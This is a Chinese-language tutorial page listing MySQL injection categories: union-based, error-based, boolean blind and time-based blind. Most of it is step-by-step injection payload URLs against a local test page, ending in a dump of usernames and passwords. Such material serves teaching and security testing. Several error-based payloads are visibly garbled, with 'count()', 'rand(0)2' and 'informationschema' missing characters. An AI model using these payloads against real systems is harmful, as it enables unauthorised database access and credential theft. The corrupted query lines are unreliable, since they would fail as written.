溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

MYSQL注入主要有哪些分類

發(fā)布時(shí)間:2020-05-25 17:01:32 來源:網(wǎng)絡(luò) 閱讀:243 作者:三月 欄目:安全技術(shù)

下面講講關(guān)于MYSQL注入主要有哪些分類,文字的奧妙在于貼近主題相關(guān)。所以,閑話就不談了,我們直接看下文吧,相信看完MYSQL注入主要有哪些分類這篇文章你一定會有所受益。

 Mysql注入分類:

1.基于錯(cuò)誤的有顯示位的注入(聯(lián)合注入)

(1)判斷注入

and 1=1,http://127.0.0.1/union.php?id=1 and 1=1
MYSQL注入主要有哪些分類
and 1=2,http://127.0.0.1/union.php?id=1 and 1=2
MYSQL注入主要有哪些分類
and 1=1輸出結(jié)果,and 1=2沒有結(jié)果,說明and語句執(zhí)行成功,可能存在sql注入。
(2) 判斷列
http://127.0.0.1/union.php?id=1 order by 1
MYSQL注入主要有哪些分類
http://127.0.0.1/union.php?id=1 order by 2
MYSQL注入主要有哪些分類
http://127.0.0.1/union.php?id=1 order by 3
MYSQL注入主要有哪些分類
http://127.0.0.1/union.php?id=1 order by 4
MYSQL注入主要有哪些分類
查詢當(dāng)前數(shù)據(jù)庫中有多少列order by 1、order by 2、order by 3的時(shí)候都返回正常, order by 4的時(shí)候返回錯(cuò)誤,那么就可以確定當(dāng)前有3列。
(3) 爆顯示位
union查詢的時(shí)候是把后面的查詢結(jié)果拼接到select查詢結(jié)果的末尾
http://127.0.0.1/union.php?id=1 union select 1,2,3
MYSQL注入主要有哪些分類
使用union select 1,2,3,并沒有輸出顯示位,是因?yàn)閟elect語句后有l(wèi)imit 0,1限制,只顯示查詢出的第一行,若id輸入錯(cuò)誤則不會顯示查詢的id信息。
http://127.0.0.1/union.php?id=-1 union select 1,2,3
MYSQL注入主要有哪些分類
id=-1時(shí),此時(shí)id輸入錯(cuò)誤,則輸出顯示位1,2,3。
(4)獲取數(shù)據(jù)庫
有了顯示位就可以代入相應(yīng)的顯示位,來查詢我們想要的東西,比如查詢數(shù)據(jù)庫名
http://127.0.0.1/union.php?id=-1 union select 1,database(),3
MYSQL注入主要有哪些分類
獲取到數(shù)據(jù)庫為s。
(5) 獲取數(shù)據(jù)表
接著查看s數(shù)據(jù)庫中的表
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema='s'
MYSQL注入主要有哪些分類
利用information_schema查詢數(shù)據(jù)庫中的tables表,查詢出數(shù)據(jù)庫s中的表為student;
information_schema數(shù)據(jù)庫中有所有數(shù)據(jù)庫、所有表、所有列。
(6) 獲取數(shù)據(jù)列
接下來查詢student表中有哪些列
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where  table_name='student'
MYSQL注入主要有哪些分類
利用information_schema數(shù)據(jù)庫獲取到student表中有id、username、password三列。
(7)獲取內(nèi)容
查詢username和password的內(nèi)容
http://127.0.0.1/union.php?id=-1 union select 1,username,password from student
MYSQL注入主要有哪些分類
獲取到student表中username,password列的內(nèi)容,獲取到用戶root密碼123456。


2.基于錯(cuò)誤的有數(shù)據(jù)庫報(bào)錯(cuò)信息的注入(報(bào)錯(cuò)注入)
mysql有十種報(bào)錯(cuò)注入
添加報(bào)錯(cuò)語句

if(!$res) {
die(mysql_error());
}

(1)獲取數(shù)據(jù)庫版本信息
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(*),concat((select (select (select    concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
MYSQL注入主要有哪些分類
(2)獲取數(shù)據(jù)庫信息.
通過控制 LIMIT來控制要獲取的數(shù)據(jù)庫
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schemaname,0x7e) FROM informationschema.schemata LIMIT 1,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)
MYSQL注入主要有哪些分類
(3)獲取當(dāng)前數(shù)據(jù)庫的表
同樣是通過控制LIMIT來控制不同的表名。
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT     distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
MYSQL注入主要有哪些分類
(4)獲取users表的列名
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
MYSQL注入主要有哪些分類
(5)獲取username和password字段的內(nèi)容
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(),concat((select (select (SELECT distinct    concat(0x23,username,0x3a,password,0x23) FROM student limit 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)
MYSQL注入主要有哪些分類


盲注:在執(zhí)行注入語句時(shí)不會有顯示位也不會有數(shù)據(jù)庫的報(bào)錯(cuò)信息,只是一個(gè)正確一個(gè)錯(cuò)誤的顯示頁,當(dāng)語句執(zhí)行正確時(shí),頁面會返回正常,當(dāng)執(zhí)行錯(cuò)誤時(shí),就會出現(xiàn)不正常界面,但是不會有任何的數(shù)據(jù)庫報(bào)錯(cuò)信息。


3.基于錯(cuò)誤的沒有數(shù)據(jù)庫報(bào)錯(cuò)信息的盲注
(1)利用聯(lián)合查詢union盲注
http://127.0.0.1/union.php?id=1 union select 1,2,‘122’ order by 3
MYSQL注入主要有哪些分類
按照第三列進(jìn)行排序,第三列值前三位若大于122不顯示,如圖未顯示。
http://127.0.0.1/union.php?id=1 union select 1,2,‘126’ order by 3
MYSQL注入主要有哪些分類
依此類推,修改第三位的值來獲取信息,第三列值前三位若小于126則顯示,如圖顯示。
(2)不用聯(lián)合查詢union盲注(ASCII)
遵循折半查詢的思想。
猜測數(shù)據(jù)庫名:
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>0
substr(database(),1,1)分割數(shù)據(jù)庫名字符,從第一個(gè)字符開始,每次分割一個(gè)字符。
ascii()函數(shù),把分割得到的字符轉(zhuǎn)換成ASCII值。
MYSQL注入主要有哪些分類
如圖,有查詢結(jié)果說明數(shù)據(jù)庫名的第一個(gè)字符ascii大于0。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>120
MYSQL注入主要有哪些分類
如圖,無查詢結(jié)果說明數(shù)據(jù)庫名的第一個(gè)字符ascii小于120。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))=115
MYSQL注入主要有哪些分類
依次類推得出數(shù)據(jù)庫名的第一個(gè)字符ascii為115,
MYSQL注入主要有哪些分類
使用小葵多功能轉(zhuǎn)換工具轉(zhuǎn)換出ASCII對應(yīng)的字符,115為字母s。
然后依次類推可猜出數(shù)據(jù)庫名。
猜測數(shù)據(jù)庫的表名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='s' limit 0,1),1,1))=115
MYSQL注入主要有哪些分類
通過猜測ascii 可得到s數(shù)據(jù)庫的第一個(gè)表的第一個(gè)字符串的ascii碼是115,也就是字符s。同理依次進(jìn)行猜解。
猜詞表中的列名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select     column_name from information_schema.columns where   table_name='student' limit 0,1),1,1))=105
MYSQL注入主要有哪些分類
得到student表的第一個(gè)列名的第一個(gè)字符串的ascii碼105,對應(yīng)字符i,同理依次進(jìn)行猜解。
猜解列的內(nèi)容:
http://127.0.0.1/union.php?id=1 and ascii(substr((select username from student limit 0,1),1,1))=114
MYSQL注入主要有哪些分類
username的第一個(gè)字符串的ascii碼為114,就是字母r,同理依次進(jìn)行猜解。


4.基于時(shí)間的盲注
基于時(shí)間的盲注和基于錯(cuò)誤的盲注差不多,區(qū)別是時(shí)間盲注頁面不回有任何回顯,一般通過sleep()函數(shù)來判斷我們的sql語句是否執(zhí)行,從而判斷是否存在注入。

利用火狐的firebug(F12),來監(jiān)測腳本的執(zhí)行時(shí)間情況
http://127.0.0.1/union.php?id=1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)
MYSQL注入主要有哪些分類
猜測數(shù)據(jù)庫,語句正確執(zhí)行延遲了3秒。

對于以上MYSQL注入主要有哪些分類相關(guān)內(nèi)容,大家還有什么不明白的地方嗎?或者想要了解更多相關(guān),可以繼續(xù)關(guān)注我們的行業(yè)資訊板塊。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI